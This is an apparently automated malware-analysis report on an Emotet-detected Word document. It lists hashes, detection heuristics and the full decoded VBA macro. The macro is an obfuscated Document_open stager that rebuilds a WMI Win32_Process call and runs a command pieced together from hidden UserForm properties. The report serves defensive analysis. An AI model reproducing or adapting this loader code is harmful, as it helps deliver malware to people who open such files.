Office (OLE) malware analysis — malicious · bbcb4aa27e0da11b

MALICIOUS

Office (OLE)

185.7 KB Created: 2019-12-17 23:24:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: 9d84bb081ff37e246c813ff02ec36b69 SHA-1: ff950578eca40122d7f57e17cb9db5b0278335ff SHA-256: bbcb4aa27e0da11b39c9997738bad27dd4fc0c856504689a0453a1c31dc06bd7

232 Risk Score

Heuristics 8

ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Vcletusvgubvi = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Kenqbaannpxv.Rfhqgwhfgd + "rocess"
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Wcbsbikepi = VBA.CreateObject(Vcletusvgubvi)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9741 bytes
SHA-256: `35813bab3bbd72eed5ff0ce761315116e37d98b73c49b532a02237dbc0dcea2a`
Detection ClamAV: No threats found Obfuscation or payload: likely 116 of 190 identifiers look randomly generated (e.g. 'wii3j3j3g4nmi3j3j3g4gm') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Kenqbaannpxv" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Rfhqgwhfgd, 0, 0, MSForms, TextBox" Private Sub Document_open() For Wislgxsvfiur = Bhgzvfmibtw To Ieclvrlzooc Idahgtmumkjh = Fnhypigk Wyzkrmsd = Wjitmdlw Next Select Case Tespgmhqnzpy Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select For Wepatvmyoogn = Qdcmsdnyoackq To Apnuxqomieehq Ktvtneyzym = Poxifxcnztshi Tiovxxepjpx = Bpohrsyxkvyk Next Select Case Krankkneqkr Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select For Zxgismsdsj = Vjkjdxyp To Iwnqlurwrbhs Sgyonncvw = Rkwusvxaepj Aylwsitd = Qwykcxsm Next Select Case Bujucyfj Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Bhtxugisf End Sub Attribute VB_Name = "Wwgrepkme" Attribute VB_Base = "0{BD5FA3BA-400E-48D6-B461-0411120C1D8F}{198F5E3E-A862-432C-A199-78064FFB45B5}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Ulgvzbdzggb" Function Chpntqqqvf() For Qhvvtshydpn = Azxnmcptkgghd To Zmrmixse Lgrmqyuyc = Qxdlnvgbpopuf Ybaahukiavxg = Mibecioob Next Select Case Mdxqwllo Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Xshlgyshcm = Kenqbaannpxv.Rfhqgwhfgd For Rgupdtyqz = Ckibmhbshwkq To Ckssfsuvfbrep Uwkbttue = Fyrnkhpzqa Yuaahfhkh = Qnaapbei Next Select Case Fzudiuubeya Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Ghzuhuukdhb = Xshlgyshcm + Wwgrepkme.Kvqtfnth + Wwgrepkme.Dnlelqcfscchw + Wwgrepkme.Hrdjfoawbolqg For Ikuqzyhwgrhx = Wleoyqyqyzg To Qpsjvmmmicxf Gofveifo = Kwytslujvfq Imlldnihjmp = Sdcvnbjc Next Select Case Nsuxhnjgkzbxi Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Ppollntxt = Ghzuhuukdhb + Wwgrepkme.Qyszjflasdxnd + Wwgrepkme.Bkzhdlvhyuvle For Ganttoqfwk = Nhugiigrzd To Dmalalmu Rvmhlatlo = Srepihidzlcg Hoeelygripz = Xfxnpfll Next Select Case Wrddqruppcsel Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Chpntqqqvf = Ydksavuosyte + Ppollntxt + Ydksavuosyte For Iryvouabdmrse = Tzgvypyfbceu To Ckisxscpk Tboejttki = Cqfikmwt Iuabiahqpepzq = Jbrjkkjpzis Next Select Case Hqsrxflhodb Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select End Function Function Bhtxugisf() For Cqnxawcuyq = Hehnfkdfuavd To Hzrzoxrcz Nfxiadzzvajzz = Xuobukvvp Ybfceekq = Fwuxwegey Next Select Case Qgzwnxcmrkhf Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select XXXXX = "i3j3j3g4" Vcletusvgubvi = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Kenqbaannpxv.Rfhqgwhfgd + "rocess" For Hpiwwwbe = Dlvostifk To Sklplqfgjb Hlrqpbzacbl = Vjoefyowopewg Vynextocb = Dkbkrzntpgrc Next Select Case Sutwmtip Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Set Wcbsbikepi = VBA.CreateObject(Vcletusvgubvi) For Rqqbfhgypuxv = Mrowygkpcbzsd To Zgtbnnpebft Mmpdxwzegqcs = Nobmekkp Ullwmnre = Dqlvvgwjspri Next Select Case Bpzsohixym Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Difzbenir = Vcletusvgubvi + Wwgrepkme.Lttbxnaavdha.ControlTipText + Wwgrepkme.Xdzlvyvpxf.ControlTipText For Vxyocgtznf = Yuoljcuzjx To Zzbqhsfxsji Hfmldhdqjj = Gwvsqbyfioce Vansollbbwio = Ozqpyvavjec Next Select Case Xbtdhimmdc Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Nqfzemgxork = Difzbenir + Kenqbaannpxv.Rfhqgwhfgd For Gxryexerqrnek = Yzfxyeeamg To Vrovzdmofmh Ngfclbeh = Idpetbxesakjz Obxrelrywkxzx = Zfksfrjzs Next Select Case Iphqehdfx Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Set Bhtxugisf = CreateObject(Nqfzemgxork) For Aqpqkhqetuzy = Sdzdvyvlxyjf To Pvkqfslorrqz Aiitkcqrov = Zptrhefwpx Tlheminvgk = Ppvzdxhpmut Next Select Case Zkluvvczzazu Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Bhtxugisf.XSize = False For Lmpvpytzxu = Amooobewrmsu To Ebivmobezq Lbwotohzs = Kxggzszuuggt Ciqtwmxpkpd = Tdmpqdjx Next Select Case Icmawdxfh Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Bhtxugisf.YSize = False For Tqsodnlr = Ftfacotmuhkv To Gxbpqlhzun Upfbalxqvob = Paannsxwi Lwbjjfysy = Ehshyydosvak Next Select Case Hlhuerlhyp Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Do While Wcbsbikepi.Create(PPPP & Chpntqqqvf, Wywspoeftuiex, Bhtxugisf, Rjsrczxnqdoxe) Loop For Dwrceapfsp = Xtrdugoqcofqs To Uqvwottcrdu Ykdujesfwwxwh = Pqbjxnupw Eeqazzapssk = Opixtxagm Next Select Case Acljmdvgbsz Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select End Function

Open this report in the interactive analyzer, or submit your own file for analysis.